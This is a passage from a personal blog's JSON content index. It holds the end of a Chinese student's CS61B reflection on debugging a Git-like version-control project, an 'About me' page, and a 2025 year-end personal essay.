merge，本地他给的4个小测试样例也都过了\n然后一交上gradescope，好了，轮到我自闭了\n没有几个是绿的\n后面大半天时间，从那天下午4点到晚上2点，再后一天中午，全在debug这堆东西\n依次解决了这些问题：\nadd的时候应该检测文件内容有没有改动，如果没改动就不要自作多情 remove的时候stage了removed file是回收站，它还没被完全送走，我把它add回去了就应该是一切正常了 error信息应该用System.out.println()写，加上System.exit(0)而不应该直接throw error 查出commit实例化的时候，由于奇怪的原因，没有把date和message一通纳入到sha1的计算里面，导致了计算出来同一个sha1值，指向同一个父亲 debug最牢的一块，耗时3小时，手输指令，当时排查了好多好多原因 这个过程重写了一大堆的封装 reset想不明白为什么会有时光倒流的机制，后来发现写heads的应该只存当前commit 存储链条应该是由commit.fatherId给串联起来的才对，一开始写log的时候就思维定势了 加上了merge commit这一类很特殊的commit机制，知道了实际上可能有第二个父亲的设定 修改了找祖先的逻辑，自己手搓了有向无环图的节点开始的遍历，和结合bfs找共同祖先的算法 各种各样其他的细节问题\n这整个过程那是十分痛苦的debugging，而且一个Bug会牵连其他许许多多的Bug，LLM在这个过程中，说实话，也没帮上什么正忙（笑） 总结下来这里会出这么多岔子，最主要有两个原因，也希望能给将来可能学习这门课程的你提个醒：\n写代码之前先把结构设计好，边写边改效率肯定不高 读清楚项目要求，一定要有耐心去看那些英文文本描述，实在不懂请LLM给你翻译概要 https://shuiyuan.sjtu.edu.cn/t/topic/447931/868 Generated By Gemini\n你不需要现在就是大师。你有整整四年的时间，甚至更久，去犯错、去写垃圾代码、去编难听的曲子。\n这不可耻。每一个现在在大神位置上的人，当年都和你一样，在屏幕前抓耳挠腮，觉得自己是个废物。\n区别只在于，他们在一边骂自己废物的时候，一边把那个烂代码又改了一行。\nhttps://shuiyuan.sjtu.edu.cn/t/topic/447931/876\n在第28小时终于来了巨大进展，，，\n简单来说是一个有向无环图的遍历实现涉及到一个\n自己手搓的算法不是最优解\n大概是，先bfs扫一遍current的历史记录，返回一个大的哈希表，key值是id，val值是步长；再bfs扫一遍given的记录找到对应val步长最短的，时间O(n)，空间O(n)\n目前代码结构的问题：\n函数封装有意识做，但做的乱七八糟的\nheads文件里面存了一整个Linkedlist，而且调用的非常混乱\n所有寻址应该基于Objects和文件管理做而不是指望heads里面的history\n其实后面做到remote的extra credit的部分就很简单了。\n喵喵喵\nWhat I Have Learned 学んだこと # 大型项目的初体验 函数封装的意识 设计的思维 代码的可读性与简洁性 巩固加深数据结构知识 复现的学习方法 …… Summary まとめ # 不知道该写什么喵，也不想写些煽情的，该说的上面也都说了呢\nLinks リンク # https://tab-ibito.github.io/\nBy Tab_1bit0\n2026.2.15\nそれぞれが好きなことで頑張れるんなら\n新しい場所が　ゴールだね\n","date":"15 February 2026","externalUrl":null,"permalink":"/learning/summary4cs61b/","section":"Learning","summary":"","title":"CS61b学习总结","type":"learning"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/aboutme/","section":"AboutMe","summary":"","title":"AboutMe","type":"aboutme"},{"content":"这里是东川路普通阴湿胶南 Tab_1bit0 (Tab)，才不是什么图灵派什么xnn的说\n25级xdx，实习nimoer，Minecraft社，\nenfp 7w8，江浙沪土著，电子琴初学者；\n最喜欢的电竞选手Karrigan，最喜欢的二偶组合μ\u0026rsquo;s，# 喜欢老东西说是\nよろしくお願いしまーす~\n这个个人网站非常非常草率，就当作是小小打理github的一个开始吧，不定期更新，鸽太久了当然可以催更，\n搭建方法采用Hugo下的blowfish模板，内嵌disqus提供的贴豆/评论功能，以及哈gemi 3.0pro老师的css\u0026amp;markdown小设计小巧思。\n至于个人小玩具嘛，版本控制可读性什么的肯定都是没有的（笑\n希望各位新朋友老朋友玩得开心！ # ","date":"1 February 2026","externalUrl":null,"permalink":"/aboutme/aboutme/","section":"AboutMe","summary":"","title":"README!!!!!.md","type":"aboutme"},{"content":"op@tabibito:~/year2025/$ cat summary.txt 呃呃，其实本人并不习惯在年终回顾总结过去的一年，但是，2025这一年里发生了太多事情。我被决策错误和偶发事件推上了不曾设想的歧途。\n01\n对中学阶段的经历及其意义所在，我没法轻易定性。毕业之前我以为这将会是（would be）玫瑰色的美好回忆；但事到如今，我更加想切割掉那段时间。我怀疑自己究竟从中学那里获得了什么，一个完全无用的高考成绩数字吗？毋庸置疑，我感谢那段时间给予了我和朋友彻夜长谈各种人生社会自然科学哲学问题的机会，也让我自学掌握了基础乐理知识和日语N2，如此等等。但这些观念或技能并非学校所给予我。所以，我跑老远，跑到杭州湾对面去上六年学，只为了换个好看的数字，再顶多在高考教培卖个好身价，如果六年前提前知道这个结局，我不会选择这么舟车劳顿，因为即便不去，也都能获得和现在一样的录取结果。那段时间为应试投注的一切可谓是徒劳或虚无。\n02\n但作为一个从2007年开始活过2025年的人类，我作为人的存在绝非虚无。我不是一遍遍复读悲惨的祥林嫂，也不是抱着94这个数字不放下的做题区。我得用决策承担起对自我的责任，用决策修正改变自己的命运。\n我不活在过去，更何况，那个过去早就失真，好像只有所谓的美好回忆被封印，而褪去了现实的底色。总想赋予毕业一些感伤与怀念的色彩，但心声会呼喊：别怀念了，你怀念的根本不是你的高中生活。诚然，以前遇见的大多数人已经抽象成符号，各种所谓”值得怀念“的故事也只是线性的脚本。过去早就已经坍缩，连同那些具体的真实一起。\n即便如此，那也无妨：我拥有当下的真实，我期待未来（miku not mirai）的真实——将命运描绘成所期许的样子。\n03\n或许我不该美化自己没走上的那一条路。其实本来就不该有什么畸形的攀比心态，感觉为什么某个人平时成绩比我烂结果怎么怎么样，高考分数比我低结果怎么怎么样，因为我们各自有各自的主线要做。我从入学第一天起就打着转专业的算盘，想着怎样才能更快地从现在的学院润走，没人可以担保这条路一定四平八稳。那反之，如果我真的凭着自己的高考裸分，上了t大某个 “智能制造”名头的专业，抑或是某个强基书院，仍旧不可避免要为和一群天赋怪竞争分流名额而焦头烂额，又或者是得忍受天坑专业和它们的科研就业环境，做好相关领域打工一辈子的心理准备。\n又或许天下的大学中学都一样吧，都只是一个若有若无的面子，仅此而已。到头来只是学生卡长得不一样。人总是始终如一的。\n04\n人们走上各自的平行岔路，这是高考的终局。我也有幸能见到现在旅途上的精彩，与无数旅人（Tabibito）的命运交错，发现自己与世界的万千可能。我加入了nimo和minecraft社，在水源社区也混得不赖；和偶研小团体去过梅奔现地live，自己也有了名义上的乐队；我第一次尝试女装出门，第一次完全自学参加JLPT考试，第一次连通两晚看完fazeClan的major决赛……社交路径和认识经历爆炸膨胀，在短短小半年的时间里，我所见识的已是中学阶段的数倍。每周各种各样的约饭和活动，让我也能接触不同专业的学长前辈，通过他们相比我多出的经验，我得以消解过去的固执，不断扩张认知的限界。虽然我深知，我身处此时此地纯然是因为意外，我也有着改变命运——这宏大而抽象的主线任务待完成。可那终点是否意味着一切？或许命运已然在这旅程之中，悄无声息地发生着改变吧。\n05\n昆明雨天连绵，四季如春；成都的酒馆情调和饮食特色也让人记忆颇深。从BilibiliWorld到Comiket，从秋叶原的女仆咖啡厅到花火大会的绚烂绽放，世界永远是多元而精彩的，它一定向着每一个心怀广阔的人敞开大门。\nHello, World!\n你好，世界。\n你好，2026。\nBy Tab_1bit0 2025/12/31\nop@tabibito:~/year2026/$ ls -all welcome.txt run.sh README.md op@tabibito:~/year2026/$ cat welcome.txt Hello, 2026! Just enjoy your new journey! op@tabibito:~/year2026/$ vim run.sh # Write down your new story here ","date":"1 January 2026","externalUrl":null,"permalink":"/articles/summary2025/","section":"Articles","summary":"","title":"Tab的2025年终总结","type":"articles"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]